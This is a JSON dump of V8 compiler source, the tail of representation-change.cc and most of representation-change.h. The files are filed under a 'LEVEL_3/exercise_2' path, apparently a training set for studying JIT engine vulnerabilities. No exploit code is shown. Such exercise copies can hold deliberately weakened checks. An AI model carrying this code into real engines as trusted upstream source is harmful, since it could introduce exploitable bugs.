{\n          int64_t const iv = static_cast<int64_t>(fv);\n          if (static_cast<double>(iv) == fv) {\n            return jsgraph()->Int64Constant(iv);\n          }\n        }\n      }\n      break;\n    }\n    case IrOpcode::kHeapConstant: {\n      HeapObjectMatcher m(node);\n      if (m.HasResolvedValue() && m.Ref(broker_).IsBigInt() &&\n          use_info.truncation().IsUsedAsWord64()) {\n        auto bigint = m.Ref(broker_).AsBigInt();\n        return jsgraph()->Int64Constant(\n            static_cast<int64_t>(bigint.AsUint64()));\n      }\n      break;\n    }\n    default:\n      break;\n  }\n\n  if (use_info.type_check() == TypeCheckKind::kBigInt) {\n    // BigInts are only represented as tagged pointer and word64.\n    if (!CanBeTaggedPointer(output_rep) &&\n        output_rep != MachineRepresentation::kWord64) {\n      DCHECK(!output_type.Equals(Type::BigInt()));\n      Node* unreachable =\n          InsertUnconditionalDeopt(use_node, DeoptimizeReason::kNotABigInt);\n      return jsgraph()->graph()->NewNode(\n          jsgraph()->common()->DeadValue(MachineRepresentation::kWord64),\n          unreachable);\n    }\n  }\n\n  // Select the correct X -> Word64 operator.\n  const Operator* op;\n  if (output_type.Is(Type::None())) {\n    // This is an impossible value; it should not be used at runtime.\n    return jsgraph()->graph()->NewNode(\n        jsgraph()->common()->DeadValue(MachineRepresentation::kWord64), node);\n  } else if (output_rep == MachineRepresentation::kBit) {\n    CHECK(output_type.Is(Type::Boolean()));\n    CHECK_NE(use_info.type_check(), TypeCheckKind::kNone);\n    CHECK_NE(use_info.type_check(), TypeCheckKind::kNumberOrOddball);\n    CHECK_NE(use_info.type_check(), TypeCheckKind::kBigInt);\n    Node* unreachable =\n        InsertUnconditionalDeopt(use_node, DeoptimizeReason::kNotASmi);\n    return jsgraph()->graph()->NewNode(\n        jsgraph()->common()->DeadValue(MachineRepresentation::kWord64),\n        unreachable);\n  } else if (IsWord(output_rep)) {\n    if (output_type.Is(Type::Unsigned32OrMinusZero())) {\n      // uint32 -> uint64\n      CHECK_IMPLIES(output_type.Maybe(Type::MinusZero()),\n                    use_info.truncation().IdentifiesZeroAndMinusZero());\n      op = machine()->ChangeUint32ToUint64();\n    } else if (output_type.Is(Type::Signed32OrMinusZero())) {\n      // int32 -> int64\n      CHECK_IMPLIES(output_type.Maybe(Type::MinusZero()),\n                    use_info.truncation().IdentifiesZeroAndMinusZero());\n      op = machine()->ChangeInt32ToInt64();\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kWord64);\n    }\n  } else if (output_rep == MachineRepresentation::kFloat32) {\n    if (output_type.Is(cache_->kInt64)) {\n      // float32 -> float64 -> int64\n      node = InsertChangeFloat32ToFloat64(node);\n      op = machine()->ChangeFloat64ToInt64();\n    } else if (output_type.Is(cache_->kUint64)) {\n      // float32 -> float64 -> uint64\n      node = InsertChangeFloat32ToFloat64(node);\n      op = machine()->ChangeFloat64ToUint64();\n    } else if (use_info.type_check() == TypeCheckKind::kSigned64 ||\n               use_info.type_check() == TypeCheckKind::kArrayIndex) {\n      // float32 -> float64 -> int64\n      node = InsertChangeFloat32ToFloat64(node);\n      op = simplified()->CheckedFloat64ToInt64(\n          output_type.Maybe(Type::MinusZero())\n              ? use_info.minus_zero_check()\n              : CheckForMinusZeroMode::kDontCheckForMinusZero,\n          use_info.feedback());\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kWord64);\n    }\n  } else if (output_rep == MachineRepresentation::kFloat64) {\n    if (output_type.Is(cache_->kInt64)) {\n      op = machine()->ChangeFloat64ToInt64();\n    } else if (output_type.Is(cache_->kUint64)) {\n      op = machine()->ChangeFloat64ToUint64();\n    } else if (use_info.type_check() == TypeCheckKind::kSigned64 ||\n               use_info.type_check() == TypeCheckKind::kArrayIndex) {\n      op = simplified()->CheckedFloat64ToInt64(\n          output_type.Maybe(Type::MinusZero())\n              ? use_info.minus_zero_check()\n              : CheckForMinusZeroMode::kDontCheckForMinusZero,\n          use_info.feedback());\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kWord64);\n    }\n  } else if (output_rep == MachineRepresentation::kTaggedSigned) {\n    if (output_type.Is(Type::SignedSmall())) {\n      op = simplified()->ChangeTaggedSignedToInt64();\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kWord64);\n    }\n  } else if (IsAnyTagged(output_rep) &&\n             use_info.truncation().IsUsedAsWord64() &&\n             (use_info.type_check() == TypeCheckKind::kBigInt ||\n              output_type.Is(Type::BigInt()))) {\n    node = GetTaggedPointerRepresentationFor(node, output_rep, output_type,\n                                             use_node, use_info);\n    op = simplified()->TruncateBigIntToUint64();\n  } else if (CanBeTaggedPointer(output_rep)) {\n    if (output_type.Is(cache_->kInt64)) {\n      op = simplified()->ChangeTaggedToInt64();\n    } else if (use_info.type_check() == TypeCheckKind::kSigned64) {\n      op = simplified()->CheckedTaggedToInt64(\n          output_type.Maybe(Type::MinusZero())\n              ? use_info.minus_zero_check()\n              : CheckForMinusZeroMode::kDontCheckForMinusZero,\n          use_info.feedback());\n    } else if (use_info.type_check() == TypeCheckKind::kArrayIndex) {\n      op = simplified()->CheckedTaggedToArrayIndex(use_info.feedback());\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kWord64);\n    }\n  } else if (output_rep == MachineRepresentation::kWord64) {\n    DCHECK_EQ(use_info.type_check(), TypeCheckKind::kBigInt);\n    if (output_type.Is(Type::BigInt())) {\n      return node;\n    } else {\n      return TypeError(node, output_rep, output_type,\n                       MachineRepresentation::kWord64);\n    }\n  } else {\n    return TypeError(node, output_rep, output_type,\n                     MachineRepresentation::kWord64);\n  }\n  return InsertConversion(node, op, use_node);\n}\n\nconst Operator* RepresentationChanger::Int32OperatorFor(\n    IrOpcode::Value opcode) {\n  switch (opcode) {\n    case IrOpcode::kSpeculativeNumberAdd:  // Fall through.\n    case IrOpcode::kSpeculativeSafeIntegerAdd:\n    case IrOpcode::kNumberAdd:\n      return machine()->Int32Add();\n    case IrOpcode::kSpeculativeNumberSubtract:  // Fall through.\n    case IrOpcode::kSpeculativeSafeIntegerSubtract:\n    case IrOpcode::kNumberSubtract:\n      return machine()->Int32Sub();\n    case IrOpcode::kSpeculativeNumberMultiply:\n    case IrOpcode::kNumberMultiply:\n      return machine()->Int32Mul();\n    case IrOpcode::kSpeculativeNumberDivide:\n    case IrOpcode::kNumberDivide:\n      return machine()->Int32Div();\n    case IrOpcode::kSpeculativeNumberModulus:\n    case IrOpcode::kNumberModulus:\n      return machine()->Int32Mod();\n    case IrOpcode::kSpeculativeNumberBitwiseOr:  // Fall through.\n    case IrOpcode::kNumberBitwiseOr:\n      return machine()->Word32Or();\n    case IrOpcode::kSpeculativeNumberBitwiseXor:  // Fall through.\n    case IrOpcode::kNumberBitwiseXor:\n      return machine()->Word32Xor();\n    case IrOpcode::kSpeculativeNumberBitwiseAnd:  // Fall through.\n    case IrOpcode::kNumberBitwiseAnd:\n      return machine()->Word32And();\n    case IrOpcode::kNumberEqual:\n    case IrOpcode::kSpeculativeNumberEqual:\n      return machine()->Word32Equal();\n    case IrOpcode::kNumberLessThan:\n    case IrOpcode::kSpeculativeNumberLessThan:\n      return machine()->Int32LessThan();\n    case IrOpcode::kNumberLessThanOrEqual:\n    case IrOpcode::kSpeculativeNumberLessThanOrEqual:\n      return machine()->Int32LessThanOrEqual();\n    default:\n      UNREACHABLE();\n  }\n}\n\nconst Operator* RepresentationChanger::Int32OverflowOperatorFor(\n    IrOpcode::Value opcode) {\n  switch (opcode) {\n    case IrOpcode::kSpeculativeSafeIntegerAdd:\n      return simplified()->CheckedInt32Add();\n    case IrOpcode::kSpeculativeSafeIntegerSubtract:\n      return simplified()->CheckedInt32Sub();\n    case IrOpcode::kSpeculativeNumberDivide:\n      return simplified()->CheckedInt32Div();\n    case IrOpcode::kSpeculativeNumberModulus:\n      return simplified()->CheckedInt32Mod();\n    default:\n      UNREACHABLE();\n  }\n}\n\nconst Operator* RepresentationChanger::Int64OperatorFor(\n    IrOpcode::Value opcode) {\n  switch (opcode) {\n    case IrOpcode::kSpeculativeNumberAdd:  // Fall through.\n    case IrOpcode::kSpeculativeSafeIntegerAdd:\n    case IrOpcode::kNumberAdd:\n      return machine()->Int64Add();\n    case IrOpcode::kSpeculativeNumberSubtract:  // Fall through.\n    case IrOpcode::kSpeculativeSafeIntegerSubtract:\n    case IrOpcode::kNumberSubtract:\n      return machine()->Int64Sub();\n    default:\n      UNREACHABLE();\n  }\n}\n\nconst Operator* RepresentationChanger::TaggedSignedOperatorFor(\n    IrOpcode::Value opcode) {\n  switch (opcode) {\n    case IrOpcode::kSpeculativeNumberLessThan:\n      return (COMPRESS_POINTERS_BOOL || machine()->Is32())\n                 ? machine()->Int32LessThan()\n                 : machine()->Int64LessThan();\n    case IrOpcode::kSpeculativeNumberLessThanOrEqual:\n      return (COMPRESS_POINTERS_BOOL || machine()->Is32())\n                 ? machine()->Int32LessThanOrEqual()\n                 : machine()->Int64LessThanOrEqual();\n    case IrOpcode::kSpeculativeNumberEqual:\n      return (COMPRESS_POINTERS_BOOL || machine()->Is32())\n                 ? machine()->Word32Equal()\n                 : machine()->Word64Equal();\n    default:\n      UNREACHABLE();\n  }\n}\n\nconst Operator* RepresentationChanger::Uint32OperatorFor(\n    IrOpcode::Value opcode) {\n  switch (opcode) {\n    case IrOpcode::kNumberAdd:\n      return machine()->Int32Add();\n    case IrOpcode::kNumberSubtract:\n      return machine()->Int32Sub();\n    case IrOpcode::kSpeculativeNumberMultiply:\n    case IrOpcode::kNumberMultiply:\n      return machine()->Int32Mul();\n    case IrOpcode::kSpeculativeNumberDivide:\n    case IrOpcode::kNumberDivide:\n      return machine()->Uint32Div();\n    case IrOpcode::kSpeculativeNumberModulus:\n    case IrOpcode::kNumberModulus:\n      return machine()->Uint32Mod();\n    case IrOpcode::kNumberEqual:\n    case IrOpcode::kSpeculativeNumberEqual:\n      return machine()->Word32Equal();\n    case IrOpcode::kNumberLessThan:\n    case IrOpcode::kSpeculativeNumberLessThan:\n      return machine()->Uint32LessThan();\n    case IrOpcode::kNumberLessThanOrEqual:\n    case IrOpcode::kSpeculativeNumberLessThanOrEqual:\n      return machine()->Uint32LessThanOrEqual();\n    case IrOpcode::kNumberClz32:\n      return machine()->Word32Clz();\n    case IrOpcode::kNumberImul:\n      return machine()->Int32Mul();\n    default:\n      UNREACHABLE();\n  }\n}\n\nconst Operator* RepresentationChanger::Uint32OverflowOperatorFor(\n    IrOpcode::Value opcode) {\n  switch (opcode) {\n    case IrOpcode::kSpeculativeNumberDivide:\n      return simplified()->CheckedUint32Div();\n    case IrOpcode::kSpeculativeNumberModulus:\n      return simplified()->CheckedUint32Mod();\n    default:\n      UNREACHABLE();\n  }\n}\n\nconst Operator* RepresentationChanger::Float64OperatorFor(\n    IrOpcode::Value opcode) {\n  switch (opcode) {\n    case IrOpcode::kSpeculativeNumberAdd:\n    case IrOpcode::kSpeculativeSafeIntegerAdd:\n    case IrOpcode::kNumberAdd:\n      return machine()->Float64Add();\n    case IrOpcode::kSpeculativeNumberSubtract:\n    case IrOpcode::kSpeculativeSafeIntegerSubtract:\n    case IrOpcode::kNumberSubtract:\n      return machine()->Float64Sub();\n    case IrOpcode::kSpeculativeNumberMultiply:\n    case IrOpcode::kNumberMultiply:\n      return machine()->Float64Mul();\n    case IrOpcode::kSpeculativeNumberDivide:\n    case IrOpcode::kNumberDivide:\n      return machine()->Float64Div();\n    case IrOpcode::kSpeculativeNumberModulus:\n    case IrOpcode::kNumberModulus:\n      return machine()->Float64Mod();\n    case IrOpcode::kNumberEqual:\n    case IrOpcode::kSpeculativeNumberEqual:\n      return machine()->Float64Equal();\n    case IrOpcode::kNumberLessThan:\n    case IrOpcode::kSpeculativeNumberLessThan:\n      return machine()->Float64LessThan();\n    case IrOpcode::kNumberLessThanOrEqual:\n    case IrOpcode::kSpeculativeNumberLessThanOrEqual:\n      return machine()->Float64LessThanOrEqual();\n    case IrOpcode::kNumberAbs:\n      return machine()->Float64Abs();\n    case IrOpcode::kNumberAcos:\n      return machine()->Float64Acos();\n    case IrOpcode::kNumberAcosh:\n      return machine()->Float64Acosh();\n    case IrOpcode::kNumberAsin:\n      return machine()->Float64Asin();\n    case IrOpcode::kNumberAsinh:\n      return machine()->Float64Asinh();\n    case IrOpcode::kNumberAtan:\n      return machine()->Float64Atan();\n    case IrOpcode::kNumberAtanh:\n      return machine()->Float64Atanh();\n    case IrOpcode::kNumberAtan2:\n      return machine()->Float64Atan2();\n    case IrOpcode::kNumberCbrt:\n      return machine()->Float64Cbrt();\n    case IrOpcode::kNumberCeil:\n      return machine()->Float64RoundUp().placeholder();\n    case IrOpcode::kNumberCos:\n      return machine()->Float64Cos();\n    case IrOpcode::kNumberCosh:\n      return machine()->Float64Cosh();\n    case IrOpcode::kNumberExp:\n      return machine()->Float64Exp();\n    case IrOpcode::kNumberExpm1:\n      return machine()->Float64Expm1();\n    case IrOpcode::kNumberFloor:\n      return machine()->Float64RoundDown().placeholder();\n    case IrOpcode::kNumberFround:\n      return machine()->TruncateFloat64ToFloat32();\n    case IrOpcode::kNumberLog:\n      return machine()->Float64Log();\n    case IrOpcode::kNumberLog1p:\n      return machine()->Float64Log1p();\n    case IrOpcode::kNumberLog2:\n      return machine()->Float64Log2();\n    case IrOpcode::kNumberLog10:\n      return machine()->Float64Log10();\n    case IrOpcode::kNumberMax:\n      return machine()->Float64Max();\n    case IrOpcode::kNumberMin:\n      return machine()->Float64Min();\n    case IrOpcode::kNumberPow:\n      return machine()->Float64Pow();\n    case IrOpcode::kNumberSin:\n      return machine()->Float64Sin();\n    case IrOpcode::kNumberSinh:\n      return machine()->Float64Sinh();\n    case IrOpcode::kNumberSqrt:\n      return machine()->Float64Sqrt();\n    case IrOpcode::kNumberTan:\n      return machine()->Float64Tan();\n    case IrOpcode::kNumberTanh:\n      return machine()->Float64Tanh();\n    case IrOpcode::kNumberTrunc:\n      return machine()->Float64RoundTruncate().placeholder();\n    case IrOpcode::kNumberSilenceNaN:\n      return machine()->Float64SilenceNaN();\n    default:\n      UNREACHABLE();\n  }\n}\n\nNode* RepresentationChanger::TypeError(Node* node,\n                                       MachineRepresentation output_rep,\n                                       Type output_type,\n                                       MachineRepresentation use) {\n  type_error_ = true;\n  if (!testing_type_errors_) {\n    std::ostringstream out_str;\n    out_str << output_rep << \" (\";\n    output_type.PrintTo(out_str);\n    out_str << \")\";\n\n    std::ostringstream use_str;\n    use_str << use;\n\n    FATAL(\n        \"RepresentationChangerError: node #%d:%s of \"\n        \"%s cannot be changed to %s\",\n        node->id(), node->op()->mnemonic(), out_str.str().c_str(),\n        use_str.str().c_str());\n  }\n  return node;\n}\n\nNode* RepresentationChanger::InsertChangeBitToTagged(Node* node) {\n  return jsgraph()->graph()->NewNode(simplified()->ChangeBitToTagged(), node);\n}\n\nNode* RepresentationChanger::InsertChangeFloat32ToFloat64(Node* node) {\n  return jsgraph()->graph()->NewNode(machine()->ChangeFloat32ToFloat64(), node);\n}\n\nNode* RepresentationChanger::InsertChangeFloat64ToUint32(Node* node) {\n  return jsgraph()->graph()->NewNode(machine()->ChangeFloat64ToUint32(), node);\n}\n\nNode* RepresentationChanger::InsertChangeFloat64ToInt32(Node* node) {\n  return jsgraph()->graph()->NewNode(machine()->ChangeFloat64ToInt32(), node);\n}\n\nNode* RepresentationChanger::InsertChangeInt32ToFloat64(Node* node) {\n  return jsgraph()->graph()->NewNode(machine()->ChangeInt32ToFloat64(), node);\n}\n\nNode* RepresentationChanger::InsertChangeTaggedSignedToInt32(Node* node) {\n  return jsgraph()->graph()->NewNode(simplified()->ChangeTaggedSignedToInt32(),\n                                     node);\n}\n\nNode* RepresentationChanger::InsertChangeTaggedToFloat64(Node* node) {\n  return jsgraph()->graph()->NewNode(simplified()->ChangeTaggedToFloat64(),\n                                     node);\n}\n\nNode* RepresentationChanger::InsertChangeUint32ToFloat64(Node* node) {\n  return jsgraph()->graph()->NewNode(machine()->ChangeUint32ToFloat64(), node);\n}\n\nNode* RepresentationChanger::InsertTruncateInt64ToInt32(Node* node) {\n  return jsgraph()->graph()->NewNode(machine()->TruncateInt64ToInt32(), node);\n}\n\nNode* RepresentationChanger::InsertCheckedFloat64ToInt32(\n    Node* node, CheckForMinusZeroMode check, const FeedbackSource& feedback,\n    Node* use_node) {\n  return InsertConversion(\n      node, simplified()->CheckedFloat64ToInt32(check, feedback), use_node);\n}\n\nIsolate* RepresentationChanger::isolate() const { return broker_->isolate(); }\n\n}  // namespace compiler\n}  // namespace internal\n}  // namespace v8\n"
  },
  {
    "path": "LEVEL_3/exercise_2/representation-change.h",
    "content": "// Copyright 2014 the V8 project authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef V8_COMPILER_REPRESENTATION_CHANGE_H_\n#define V8_COMPILER_REPRESENTATION_CHANGE_H_\n\n#include \"src/compiler/feedback-source.h\"\n#include \"src/compiler/js-graph.h\"\n#include \"src/compiler/simplified-operator.h\"\n\nnamespace v8 {\nnamespace internal {\nnamespace compiler {\n\n// Foward declarations.\nclass TypeCache;\n\nenum IdentifyZeros { kIdentifyZeros, kDistinguishZeros };\n\nclass Truncation final {\n public:\n  // Constructors.\n  static Truncation None() {\n    return Truncation(TruncationKind::kNone, kIdentifyZeros);\n  }\n  static Truncation Bool() {\n    return Truncation(TruncationKind::kBool, kIdentifyZeros);\n  }\n  static Truncation Word32() {\n    return Truncation(TruncationKind::kWord32, kIdentifyZeros);\n  }\n  static Truncation Word64() {\n    return Truncation(TruncationKind::kWord64, kIdentifyZeros);\n  }\n  static Truncation OddballAndBigIntToNumber(\n      IdentifyZeros identify_zeros = kDistinguishZeros) {\n    return Truncation(TruncationKind::kOddballAndBigIntToNumber,\n                      identify_zeros);\n  }\n  static Truncation Any(IdentifyZeros identify_zeros = kDistinguishZeros) {\n    return Truncation(TruncationKind::kAny, identify_zeros);\n  }\n\n  static Truncation Generalize(Truncation t1, Truncation t2) {\n    return Truncation(\n        Generalize(t1.kind(), t2.kind()),\n        GeneralizeIdentifyZeros(t1.identify_zeros(), t2.identify_zeros()));\n  }\n\n  // Queries.\n  bool IsUnused() const { return kind_ == TruncationKind::kNone; }\n  bool IsUsedAsBool() const {\n    return LessGeneral(kind_, TruncationKind::kBool);\n  }\n  bool IsUsedAsWord32() const {\n    return LessGeneral(kind_, TruncationKind::kWord32);\n  }\n  bool IsUsedAsWord64() const {\n    return LessGeneral(kind_, TruncationKind::kWord64);\n  }\n  bool TruncatesOddballAndBigIntToNumber() const {\n    return LessGeneral(kind_, TruncationKind::kOddballAndBigIntToNumber);\n  }\n  bool IdentifiesUndefinedAndZero() {\n    return LessGeneral(kind_, TruncationKind::kWord32) ||\n           LessGeneral(kind_, TruncationKind::kBool);\n  }\n  bool IdentifiesZeroAndMinusZero() const {\n    return identify_zeros() == kIdentifyZeros;\n  }\n\n  // Operators.\n  bool operator==(Truncation other) const {\n    return kind() == other.kind() && identify_zeros() == other.identify_zeros();\n  }\n  bool operator!=(Truncation other) const { return !(*this == other); }\n\n  // Debug utilities.\n  const char* description() const;\n  bool IsLessGeneralThan(Truncation other) {\n    return LessGeneral(kind(), other.kind()) &&\n           LessGeneralIdentifyZeros(identify_zeros(), other.identify_zeros());\n  }\n\n  IdentifyZeros identify_zeros() const { return identify_zeros_; }\n\n private:\n  enum class TruncationKind : uint8_t {\n    kNone,\n    kBool,\n    kWord32,\n    kWord64,\n    kOddballAndBigIntToNumber,\n    kAny\n  };\n\n  explicit Truncation(TruncationKind kind, IdentifyZeros identify_zeros)\n      : kind_(kind), identify_zeros_(identify_zeros) {\n    DCHECK(kind == TruncationKind::kAny ||\n           kind == TruncationKind::kOddballAndBigIntToNumber ||\n           identify_zeros == kIdentifyZeros);\n  }\n  TruncationKind kind() const { return kind_; }\n\n  TruncationKind kind_;\n  IdentifyZeros identify_zeros_;\n\n  static TruncationKind Generalize(TruncationKind rep1, TruncationKind rep2);\n  static IdentifyZeros GeneralizeIdentifyZeros(IdentifyZeros i1,\n                                               IdentifyZeros i2);\n  static bool LessGeneral(TruncationKind rep1, TruncationKind rep2);\n  static bool LessGeneralIdentifyZeros(IdentifyZeros u1, IdentifyZeros u2);\n};\n\nenum class TypeCheckKind : uint8_t {\n  kNone,\n  kSignedSmall,\n  kSigned32,\n  kSigned64,\n  kNumber,\n  kNumberOrBoolean,\n  kNumberOrOddball,\n  kHeapObject,\n  kBigInt,\n  kArrayIndex\n};\n\ninline std::ostream& operator<<(std::ostream& os, TypeCheckKind type_check) {\n  switch (type_check) {\n    case TypeCheckKind::kNone:\n      return os << \"None\";\n    case TypeCheckKind::kSignedSmall:\n      return os << \"SignedSmall\";\n    case TypeCheckKind::kSigned32:\n      return os << \"Signed32\";\n    case TypeCheckKind::kSigned64:\n      return os << \"Signed64\";\n    case TypeCheckKind::kNumber:\n      return os << \"Number\";\n    case TypeCheckKind::kNumberOrBoolean:\n      return os << \"NumberOrBoolean\";\n    case TypeCheckKind::kNumberOrOddball:\n      return os << \"NumberOrOddball\";\n    case TypeCheckKind::kHeapObject:\n      return os << \"HeapObject\";\n    case TypeCheckKind::kBigInt:\n      return os << \"BigInt\";\n    case TypeCheckKind::kArrayIndex:\n      return os << \"ArrayIndex\";\n  }\n  UNREACHABLE();\n}\n\n// The {UseInfo} class is used to describe a use of an input of a node.\n//\n// This information is used in two different ways, based on the phase:\n//\n// 1. During propagation, the use info is used to inform the input node\n//    about what part of the input is used (we call this truncation) and what\n//    is the preferred representation. For conversions that will require\n//    checks, we also keep track of whether a minus zero check is needed.\n//\n// 2. During lowering, the use info is used to properly convert the input\n//    to the preferred representation. The preferred representation might be\n//    insufficient to do the conversion (e.g. word32->float64 conv), so we also\n//    need the signedness information to produce the correct value.\n//    Additionally, use info may contain {CheckParameters} which contains\n//    information for the deoptimizer such as a CallIC on which speculation\n//    should be disallowed if the check fails.\nclass UseInfo {\n public:\n  UseInfo(MachineRepresentation representation, Truncation truncation,\n          TypeCheckKind type_check = TypeCheckKind::kNone,\n          const FeedbackSource& feedback = FeedbackSource())\n      : representation_(representation),\n        truncation_(truncation),\n        type_check_(type_check),\n        feedback_(feedback) {}\n  static UseInfo TruncatingWord32() {\n    return UseInfo(MachineRepresentation::kWord32, Truncation::Word32());\n  }\n  static UseInfo TruncatingWord64() {\n    return UseInfo(MachineRepresentation::kWord64, Truncation::Word64());\n  }\n  static UseInfo CheckedBigIntTruncatingWord64(const FeedbackSource& feedback) {\n    return UseInfo(MachineRepresentation::kWord64, Truncation::Word64(),\n                   TypeCheckKind::kBigInt, feedback);\n  }\n  static UseInfo Word64() {\n    return UseInfo(MachineRepresentation::kWord64, Truncation::Any());\n  }\n  static UseInfo Word() {\n    return UseInfo(MachineType::PointerRepresentation(), Truncation::Any());\n  }\n  static UseInfo Bool() {\n    return UseInfo(MachineRepresentation::kBit, Truncation::Bool());\n  }\n  static UseInfo Float32() {\n    return UseInfo(MachineRepresentation::kFloat32, Truncation::Any());\n  }\n  static UseInfo Float64() {\n    return UseInfo(MachineRepresentation::kFloat64, Truncation::Any());\n  }\n  static UseInfo TruncatingFloat64(\n      IdentifyZeros identify_zeros = kDistinguishZeros) {\n    return UseInfo(MachineRepresentation::kFloat64,\n                   Truncation::OddballAndBigIntToNumber(identify_zeros));\n  }\n  static UseInfo AnyTagged() {\n    return UseInfo(MachineRepresentation::kTagged, Truncation::Any());\n  }\n  static UseInfo TaggedSigned() {\n    return UseInfo(MachineRepresentation::kTaggedSigned, Truncation::Any());\n  }\n  static UseInfo TaggedPointer() {\n    return UseInfo(MachineRepresentation::kTaggedPointer, Truncation::Any());\n  }\n\n  // Possibly deoptimizing conversions.\n  static UseInfo CheckedTaggedAsArrayIndex(const FeedbackSource& feedback) {\n    return UseInfo(MachineType::PointerRepresentation(),\n                   Truncation::Any(kIdentifyZeros), TypeCheckKind::kArrayIndex,\n                   feedback);\n  }\n  static UseInfo CheckedHeapObjectAsTaggedPointer(\n      const FeedbackSource& feedback) {\n    return UseInfo(MachineRepresentation::kTaggedPointer, Truncation::Any(),\n                   TypeCheckKind::kHeapObject, feedback);\n  }\n\n  static UseInfo CheckedBigIntAsTaggedPointer(const FeedbackSource& feedback) {\n    return UseInfo(MachineRepresentation::kTaggedPointer, Truncation::Any(),\n                   TypeCheckKind::kBigInt, feedback);\n  }\n\n  static UseInfo CheckedSignedSmallAsTaggedSigned(\n      const FeedbackSource& feedback,\n      IdentifyZeros identify_zeros = kDistinguishZeros) {\n    return UseInfo(MachineRepresentation::kTaggedSigned,\n                   Truncation::Any(identify_zeros), TypeCheckKind::kSignedSmall,\n                   feedback);\n  }\n  static UseInfo CheckedSignedSmallAsWord32(IdentifyZeros identify_zeros,\n                                            const FeedbackSource& feedback) {\n    return UseInfo(MachineRepresentation::kWord32,\n                   Truncation::Any(identify_zeros), TypeCheckKind::kSignedSmall,\n                   feedback);\n  }\n  static UseInfo CheckedSigned32AsWord32(IdentifyZeros identify_zeros,\n                                         const FeedbackSource& feedback) {\n    return UseInfo(MachineRepresentation::kWord32,\n                   Truncation::Any(identify_zeros), TypeCheckKind::kSigned32,\n                   feedback);\n  }\n  static UseInfo CheckedSigned64AsWord64(IdentifyZeros identify_zeros,\n                                         const FeedbackSource& feedback) {\n    return UseInfo(MachineRepresentation::kWord64,\n                   Truncation::Any(identify_zeros), TypeCheckKind::kSigned64,\n                   feedback);\n  }\n  static UseInfo CheckedNumberAsFloat64(IdentifyZeros identify_zeros,\n                                        const FeedbackSource& feedback) {\n    return UseInfo(MachineRepresentation::kFloat64,\n                   Truncation::Any(identify_zeros), TypeCheckKind::kNumber,\n                   feedback);\n  }\n  static UseInfo CheckedNumberAsWord32(const FeedbackSource& feedback) {\n    return UseInfo(MachineRepresentation::kWord32, Truncation::Word32(),\n                   TypeCheckKind::kNumber, feedback);\n  }\n  static UseInfo CheckedNumberOrBooleanAsFloat64(\n      IdentifyZeros identify_zeros, const FeedbackSource& feedback) {\n    return UseInfo(MachineRepresentation::kFloat64,\n                   Truncation::Any(identify_zeros),\n                   TypeCheckKind::kNumberOrBoolean, feedback);\n  }\n  static UseInfo CheckedNumberOrOddballAsFloat64(\n      IdentifyZeros identify_zeros, const FeedbackSource& feedback) {\n    return UseInfo(MachineRepresentation::kFloat64,\n                   Truncation::Any(identify_zeros),\n                   TypeCheckKind::kNumberOrOddball, feedback);\n  }\n  static UseInfo CheckedNumberOrOddballAsWord32(\n      const FeedbackSource& feedback) {\n    return UseInfo(MachineRepresentation::kWord32, Truncation::Word32(),\n                   TypeCheckKind::kNumberOrOddball, feedback);\n  }\n\n  // Undetermined representation.\n  static UseInfo Any() {\n    return UseInfo(MachineRepresentation::kNone, Truncation::Any());\n  }\n  static UseInfo AnyTruncatingToBool() {\n    return UseInfo(MachineRepresentation::kNone, Truncation::Bool());\n  }\n\n  // Value not used.\n  static UseInfo None() {\n    return UseInfo(MachineRepresentation::kNone, Truncation::None());\n  }\n\n  MachineRepresentation representation() const { return representation_; }\n  Truncation truncation() const { return truncation_; }\n  TypeCheckKind type_check() const { return type_check_; }\n  CheckForMinusZeroMode minus_zero_check() const {\n    return truncation().IdentifiesZeroAndMinusZero()\n               ? CheckForMinusZeroMode::kDontCheckForMinusZero\n               : CheckForMinusZeroMode::kCheckForMinusZero;\n  }\n  const FeedbackSource& feedback() const { return feedback_; }\n\n private:\n  MachineRepresentation representation_;\n  Truncation truncation_;\n  TypeCheckKind type_check_;\n  FeedbackSource feedback_;\n};\n\n// Contains logic related to changing the representation of values for constants\n// and other nodes, as well as lowering Simplified->Machine operators.\n// Eagerly folds any representation changes for constants.\nclass V8_EXPORT_PRIVATE RepresentationChanger final {\n public:\n  RepresentationChanger(JSGraph* jsgraph, JSHeapBroker* broker);\n\n  // Changes representation from {output_type} to {use_rep}. The {truncation}\n  // parameter is only used for checking - if the changer cannot figure\n  // out signedness for the word32->float64 conversion, then we check that the\n  // uses truncate to word32 (so they do not care about signedness).\n  Node* GetRepresentationFor(Node* node, MachineRepresentation output_rep,\n                             Type output_type, Node* use_node,\n                             UseInfo use_info);\n  const Operator* Int32OperatorFor(IrOpcode::Value opcode);\n  const Operator* Int32OverflowOperatorFor(IrOpcode::Value opcode);\n  const Operator* Int64OperatorFor(IrOpcode::Value opcode);\n  const Operator* TaggedSignedOperatorFor(IrOpcode::Value opcode);\n  const Operator* Uint32OperatorFor(IrOpcode::Value opcode);\n  const Operator* Uint32OverflowOperatorFor(IrOpcode::Value opcode);\n  const Operator* Float64OperatorFor(IrOpcode::Value opcode);\n\n  MachineType TypeForBasePointer(const FieldAccess& access) {\n    return access.tag() != 0 ? MachineType::AnyTagged()\n                             : MachineType::Pointer();\n  }\n\n  MachineType TypeForBasePointer(const ElementAccess& access) {\n    return access.tag() != 0 ? MachineType::AnyTagged()\n                             : MachineType::Pointer();\n  }\n\n private:\n  TypeCache const* cache_;\n  JSGraph* jsgraph_;\n  JSHeapBroker* broker_;\n\n  friend class RepresentationChangerTester;  // accesses the below fields.\n\n  bool testing_type_errors_;  // If {true}, don't abort on a type error.\n  bool type_error_;           // Set when a type error is detected.\n\n  Node* GetTaggedSignedRepresentationFor(Node* node,\n                                         MachineRepresentation output_rep,\n                                         Type output_type, Node* use_node,\n                                         UseInfo use_info);\n  Node* GetTaggedPointerRepresentationFor(Node* node,\n                                          MachineRepresentation output_rep,\n                                          Type output_type, Node* use_node,\n                                          UseInfo use_info);\n  Node* GetTaggedRepresentationFor(Node* node, MachineRepresentation output_rep,\n                                   Type output_type, Truncation truncation);\n  Node* GetFloat32RepresentationFor(Node* node,\n                                    MachineRepresentation output_rep,\n                                    Type output_type, 